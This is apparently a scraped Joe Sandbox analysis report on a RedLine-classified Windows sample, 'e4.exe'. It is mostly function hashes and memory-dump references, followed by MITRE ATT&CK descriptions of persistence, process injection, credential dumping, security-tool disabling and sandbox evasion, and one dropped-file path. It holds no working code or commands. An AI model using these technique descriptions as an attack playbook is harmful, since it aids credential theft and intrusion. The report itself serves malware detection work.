Opcode ID: b736a47a22b38a3ea16ece5bc11845f13086dcf1b00b53139509f15209fc243f
Instruction ID: 8c4be88f040530d8efab6ea9af609833559e5b740e8492c1302205f1ca61722b
Opcode Fuzzy Hash: b736a47a22b38a3ea16ece5bc11845f13086dcf1b00b53139509f15209fc243f
Instruction Fuzzy Hash: 1BF03C30A00109EFCB44FFB4E45495C7BF1EB85218B1045A9C409AB754EB319F48DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0205BA70 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.537702161.0000000002050000.00000040.00000800.00020000.00000000.sdmp, Offset: 02050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2050000_e4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4524bcc16f3b0689a59182e6977dafe9e9b71069419b2f4e96c0242edb3cb6f
Instruction ID: 604fbf3c378d028ce4c9a98fcfc35963122ea3dddc780ee1b4b58e660563e90b
Opcode Fuzzy Hash: e4524bcc16f3b0689a59182e6977dafe9e9b71069419b2f4e96c0242edb3cb6f
Instruction Fuzzy Hash: 77E02B36301185E7C3047665F84565A7FADE7C6324F054868F145C7305DF648C0393A0

Uniqueness

Uniqueness Score: -1.00%

Function 0205D9F1 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.537702161.0000000002050000.00000040.00000800.00020000.00000000.sdmp, Offset: 02050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2050000_e4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a8b25891bd41faa93fb9d166946fa391c5285787b018cecd265b4c0052859fd
Instruction ID: 133ba7e93c360cde2680fd3b16b588d2f259ef878282ff2c016ac5ac1687355b
Opcode Fuzzy Hash: 2a8b25891bd41faa93fb9d166946fa391c5285787b018cecd265b4c0052859fd
Instruction Fuzzy Hash: 7FF02776F152048FD7149A65E84576BFBA0EFC4320F04817AE906C7351DB74C840CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0205D6DD Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.537702161.0000000002050000.00000040.00000800.00020000.00000000.sdmp, Offset: 02050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2050000_e4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0327ee0f1d783ce8dc59fec5b9d2cfc8e10d036102125263ddaf5a97d376a7c
Instruction ID: d4cafa55f366934a24297ccd5b22aa4b5d0be8b471d477d3752c2c6b08502e45
Opcode Fuzzy Hash: c0327ee0f1d783ce8dc59fec5b9d2cfc8e10d036102125263ddaf5a97d376a7c
Instruction Fuzzy Hash: 7801B674A55229AFDF01CB94D855FEEBBB2BF48304F214005E806BB2A1DB759D41DB60

Uniqueness

Uniqueness Score: -1.00%

Function 0205BAE0 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.537702161.0000000002050000.00000040.00000800.00020000.00000000.sdmp, Offset: 02050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2050000_e4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdc4294d816bfd3b4b90bd8934c8c55fd3d527b944da34432438fe7dfa4a4a12
Instruction ID: b118cddfa78b173878ae5246454ffd8904e1732e900e87d8389fe87591a6db3e
Opcode Fuzzy Hash: fdc4294d816bfd3b4b90bd8934c8c55fd3d527b944da34432438fe7dfa4a4a12
Instruction Fuzzy Hash: 98F0F971A006198FCB54EF69D80999EBBF5FF88710B00462AE919E3210EB746A058BD4

Uniqueness

Uniqueness Score: -1.00%

Function 02058274 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.537702161.0000000002050000.00000040.00000800.00020000.00000000.sdmp, Offset: 02050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2050000_e4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67315c05f55ff5f9a3d2e76c4caea1a69f03e9362a9d9c5a6494cd3482715cd7
Instruction ID: 53033b0b0762df3438cf3a5de446a7927f633d13a1d26f55b6fc0aeaa0fedb26
Opcode Fuzzy Hash: 67315c05f55ff5f9a3d2e76c4caea1a69f03e9362a9d9c5a6494cd3482715cd7
Instruction Fuzzy Hash: B1F0E231548BA0CFC358EB79D88506A7FE1AED2204341CE9DC186CAA64FB60AD0A9351

Uniqueness

Uniqueness Score: -1.00%

Function 02054878 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.537702161.0000000002050000.00000040.00000800.00020000.00000000.sdmp, Offset: 02050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2050000_e4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f73bec4e67ed60436b8d26f0c8c3e94e47b805aab8a542a93d8b66ae34b8320
Instruction ID: ebd0a6df0066a97c8c5843731e5d357475089547a36b9626e5d79e72955ac472
Opcode Fuzzy Hash: 8f73bec4e67ed60436b8d26f0c8c3e94e47b805aab8a542a93d8b66ae34b8320
Instruction Fuzzy Hash: BCF04430915249EFCB40EFA4E95569CBFF4EB8A200B1045EAC585E7354EB306E14DB81

Uniqueness

Uniqueness Score: -1.00%

Function 02053358 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.537702161.0000000002050000.00000040.00000800.00020000.00000000.sdmp, Offset: 02050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2050000_e4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11480b3260ff44b63e6c4e66e43976a3adca50766c1143d31f1d4d783aca5a31
Instruction ID: f03274af6bf3d8af6cd10549ae6aa6d78eb7d0c4f5c02ce919fc17758233abbb
Opcode Fuzzy Hash: 11480b3260ff44b63e6c4e66e43976a3adca50766c1143d31f1d4d783aca5a31
Instruction Fuzzy Hash: F1E022312042A4DFCB162778AC944EC7B7AEFC6325309006AE802C7706DF381D0AA7A1

Uniqueness

Uniqueness Score: -1.00%

Function 0205BCE0 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.537702161.0000000002050000.00000040.00000800.00020000.00000000.sdmp, Offset: 02050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2050000_e4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f41fe993ec7b80e5457a7a8ad79fa49f24306d4075fee4ddb32b52cc5f5cc97
Instruction ID: 97de57826daf9fbe342cb0a3e0ead44a165b1409be29dc1b43f17395518ee14a
Opcode Fuzzy Hash: 1f41fe993ec7b80e5457a7a8ad79fa49f24306d4075fee4ddb32b52cc5f5cc97
Instruction Fuzzy Hash: 73F0E533305A655FC3049F28D404C5ABBADAF856243158269E44987761CF20FD41C7C0

Uniqueness

Uniqueness Score: -1.00%

Function 02054348 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.537702161.0000000002050000.00000040.00000800.00020000.00000000.sdmp, Offset: 02050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2050000_e4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 182b2d77cfa4f1aa19cfe41cffbaee14393743107a73e61c49589c6a86e0fcfb
Instruction ID: 58b92e7849d7cc2a7669611a05b87ffd008e2bd6634ee58a124af7aaf3c7623c
Opcode Fuzzy Hash: 182b2d77cfa4f1aa19cfe41cffbaee14393743107a73e61c49589c6a86e0fcfb
Instruction Fuzzy Hash: B5F03071500B05CFD724EF26D508556BBF6FB88305700892EE44A82B18EF74A945CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0205103F Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.537702161.0000000002050000.00000040.00000800.00020000.00000000.sdmp, Offset: 02050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2050000_e4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa609adfd6479a440859533981f40177f27527ca955fb26a909206dae7642443
Instruction ID: b19c54251a01e7109ae74396457fec9b5a9d0fb776a6f2f65fafabb1f803727f
Opcode Fuzzy Hash: aa609adfd6479a440859533981f40177f27527ca955fb26a909206dae7642443
Instruction Fuzzy Hash: 13E09B317093649FCB099F7594108D97BE69F4A11431544FED404CB762CA75CC05C7C4

Uniqueness

Uniqueness Score: -1.00%

Function 0205BA80 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.537702161.0000000002050000.00000040.00000800.00020000.00000000.sdmp, Offset: 02050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2050000_e4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13f247c385d86d23bce40c78d2f79747c84c31c6408490cdf4e540bd94023fdf
Instruction ID: 098357236fc03630fa9ef84f06e7a192ca291a548e4a0103c3802f742fba33f3
Opcode Fuzzy Hash: 13f247c385d86d23bce40c78d2f79747c84c31c6408490cdf4e540bd94023fdf
Instruction Fuzzy Hash: 7AE0DF36300148EBC718766AB85885F7FAEEBCA2247004469F509C3304DE658C0193A0

Uniqueness

Uniqueness Score: -1.00%

Function 0205A818 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.537702161.0000000002050000.00000040.00000800.00020000.00000000.sdmp, Offset: 02050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2050000_e4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f04985a8cf2e5a69de78951b695e586b64714501de443fee769d446156efef9
Instruction ID: e8fbfc7bc669bb7013b7f585186d5d4f0da058cc1bff31f6e598ff7930c850c7
Opcode Fuzzy Hash: 3f04985a8cf2e5a69de78951b695e586b64714501de443fee769d446156efef9
Instruction Fuzzy Hash: DEE0D636B002208FCB029B79EA0A2983BB0EF0B20030400E6E405CBA62CB34CC14CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02058228 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.537702161.0000000002050000.00000040.00000800.00020000.00000000.sdmp, Offset: 02050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2050000_e4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fafedf44fee35dbdb07be7e272ee9e1bdcd3a158e9ebb9ddf14c1017512c54f
Instruction ID: e0db96644d43eb3ba6173cfd69d66d1582bce512dd2ef435768ba347a1da4001
Opcode Fuzzy Hash: 7fafedf44fee35dbdb07be7e272ee9e1bdcd3a158e9ebb9ddf14c1017512c54f
Instruction Fuzzy Hash: A7E09231504B20CFC358FB29E94145EB7D6AFC52243018E29C14A87E28EF70BC0947A1

Uniqueness

Uniqueness Score: -1.00%

Function 02054888 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.537702161.0000000002050000.00000040.00000800.00020000.00000000.sdmp, Offset: 02050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2050000_e4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21ae25f5e5584bb18e3b4d1ba9d50939238824b042361371c9858ac4f4c718f6
Instruction ID: fdb1688b0de58647144ab77be5d6c7fddc9c7874e420f49d7a6486766414df75
Opcode Fuzzy Hash: 21ae25f5e5584bb18e3b4d1ba9d50939238824b042361371c9858ac4f4c718f6
Instruction Fuzzy Hash: B6F01530A10109EFCB44EFA4E54559CBBF5FB89214B1045A9C909A7344EB306F149B41

Uniqueness

Uniqueness Score: -1.00%

Function 02056440 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.537702161.0000000002050000.00000040.00000800.00020000.00000000.sdmp, Offset: 02050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2050000_e4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3357e7571cd6dac7ee786d2d869ad942cbd956352b26f1be52fdb3bfa2d06810
Instruction ID: 514772edbd4b2faadd1a30cc71f6707efa811d0fb5200a63f7da8d249e8c6c4b
Opcode Fuzzy Hash: 3357e7571cd6dac7ee786d2d869ad942cbd956352b26f1be52fdb3bfa2d06810
Instruction Fuzzy Hash: E5E04F31104675CFDF41BF21E4647883BB2FB9B314B4659A9D0058F39ECB346C069B9A

Uniqueness

Uniqueness Score: -1.00%

Function 02054E08 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.537702161.0000000002050000.00000040.00000800.00020000.00000000.sdmp, Offset: 02050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2050000_e4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82b6c27e52f231ee836ce2ad53d9c83f2af963ce707c6178fa81f905113ae9ec
Instruction ID: 93b2046b23d813e3b43b07f14cf18b0f290af025c29cc8f69eef31acee783b1a
Opcode Fuzzy Hash: 82b6c27e52f231ee836ce2ad53d9c83f2af963ce707c6178fa81f905113ae9ec
Instruction Fuzzy Hash: ADE04F301186B5DFCB06AF25E46478537B1FB4B3187059795E0408F36BDB345D46DB92

Uniqueness

Uniqueness Score: -1.00%

Function 02050459 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.537702161.0000000002050000.00000040.00000800.00020000.00000000.sdmp, Offset: 02050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2050000_e4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c79375188600d6c326a05cf206841479d110c256206781126a790566fea9de8
Instruction ID: 52b640c92c566c65cfe4b34def99868e88f71f25e2732557e6187062479117ac
Opcode Fuzzy Hash: 1c79375188600d6c326a05cf206841479d110c256206781126a790566fea9de8
Instruction Fuzzy Hash: 91E0DF709093A8EFC741DFB0D80055C7FF5EF4621871104E9C848EB211EA34AE04DB60

Uniqueness

Uniqueness Score: -1.00%

Function 02051050 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.537702161.0000000002050000.00000040.00000800.00020000.00000000.sdmp, Offset: 02050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2050000_e4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c04554dce49e295f3f989267aefdc53035bcf03467b703ecd5923e773a35f30e
Instruction ID: 1e943f74d38406efc8f6be747c7696c2650a9458239360ee8be21ece8ef9e475
Opcode Fuzzy Hash: c04554dce49e295f3f989267aefdc53035bcf03467b703ecd5923e773a35f30e
Instruction Fuzzy Hash: E7E01231B002249F8B58E7799404CA973DADF8D55931544BDE409CBB20DF75DC0187C4

Uniqueness

Uniqueness Score: -1.00%

Function 0205BA28 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.537702161.0000000002050000.00000040.00000800.00020000.00000000.sdmp, Offset: 02050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2050000_e4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7d302a2c0b8bcc38182d58afab712075ce4fc3f8b36d6417fa4b74b88082a29
Instruction ID: 20e830c10fd8952573c9a86496ed9364d263af63df5afc67958717c1a6983f71
Opcode Fuzzy Hash: e7d302a2c0b8bcc38182d58afab712075ce4fc3f8b36d6417fa4b74b88082a29
Instruction Fuzzy Hash: 04E08C75E015408BDB84FF3AD49676A77E1EB40308F088028D8018B34AC728DD46DF05

Uniqueness

Uniqueness Score: -1.00%

Function 0205DB38 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.537702161.0000000002050000.00000040.00000800.00020000.00000000.sdmp, Offset: 02050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2050000_e4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ed2cd32c2aa1295c8034e5ec17c63c63fa3b1c6a1466339672461e6f2f285b9
Instruction ID: c15040436587e41c5af8c1b17e039a35f95d3ab5c5e001c9d51bd8e20cb34b84
Opcode Fuzzy Hash: 0ed2cd32c2aa1295c8034e5ec17c63c63fa3b1c6a1466339672461e6f2f285b9
Instruction Fuzzy Hash: 66E092B5D0420D9F8B94DFA9D8416BEFFF8AB58300F10816AE919E2240E7345A51CFD1

Uniqueness

Uniqueness Score: -1.00%

Function 02050468 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.537702161.0000000002050000.00000040.00000800.00020000.00000000.sdmp, Offset: 02050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2050000_e4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d91d2c1484e6d93b85ec8df1573d0dd91c7e3ba050e204a9965d10cd01ce5f5
Instruction ID: d4ef2e71b9aa3844005f4fc47cd66ff02d4756af8b5c0d2f71897880ddb8927a
Opcode Fuzzy Hash: 1d91d2c1484e6d93b85ec8df1573d0dd91c7e3ba050e204a9965d10cd01ce5f5
Instruction Fuzzy Hash: 3AD05E70A0125CEF8B40EFB4E90056DBBFAFB85218B1145A8D809E7304EA31AF00AB90

Uniqueness

Uniqueness Score: -1.00%

Function 0205AA00 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.537702161.0000000002050000.00000040.00000800.00020000.00000000.sdmp, Offset: 02050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2050000_e4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 446fd9ef4abf98f8f45e019bef970eb2e4c54b296cb5133036585c4d7748cc5d
Instruction ID: 5c5be67fb661c5e3dd657f6b999cd1c91802856b6ff1225067cba11e2259b74d
Opcode Fuzzy Hash: 446fd9ef4abf98f8f45e019bef970eb2e4c54b296cb5133036585c4d7748cc5d
Instruction Fuzzy Hash: 31D012366047286B4B0CDAE964519DE7BADCAC4174F01446BD609D7640EEB9194442E6

Uniqueness

Uniqueness Score: -1.00%

Function 02050440 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.537702161.0000000002050000.00000040.00000800.00020000.00000000.sdmp, Offset: 02050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2050000_e4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb1a1c271149e12b7e8cc0a1789a2f73376a639ef61ff17b90906e305a849203
Instruction ID: c0a6267c20d077397c6a89bcffdc6fd1a41992c421283017f4e433a3751e2661
Opcode Fuzzy Hash: cb1a1c271149e12b7e8cc0a1789a2f73376a639ef61ff17b90906e305a849203
Instruction Fuzzy Hash: 28B002F5812551EBDE165FA4D5157853BA0EB5235DF314888D00149665C6756003CB52

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0205EF08 Relevance: .4, Instructions: 373COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.537702161.0000000002050000.00000040.00000800.00020000.00000000.sdmp, Offset: 02050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2050000_e4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 599b97350ff505ed5e89fd12c60d559f62a9e6828ad86bd9157871113a24e86a
Instruction ID: ad7c4066eeac020b88d7f79ac87e9ce46b7d9324677fb3984429581f07f90df9
Opcode Fuzzy Hash: 599b97350ff505ed5e89fd12c60d559f62a9e6828ad86bd9157871113a24e86a
Instruction Fuzzy Hash: 45D1BE35B002158FCB08EBB9C854A6E77F6EF89304B158069D90ACB7A5EF34DC02DB91

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report e4.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: RedLine

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\MicrosoftNetwork\System.exe

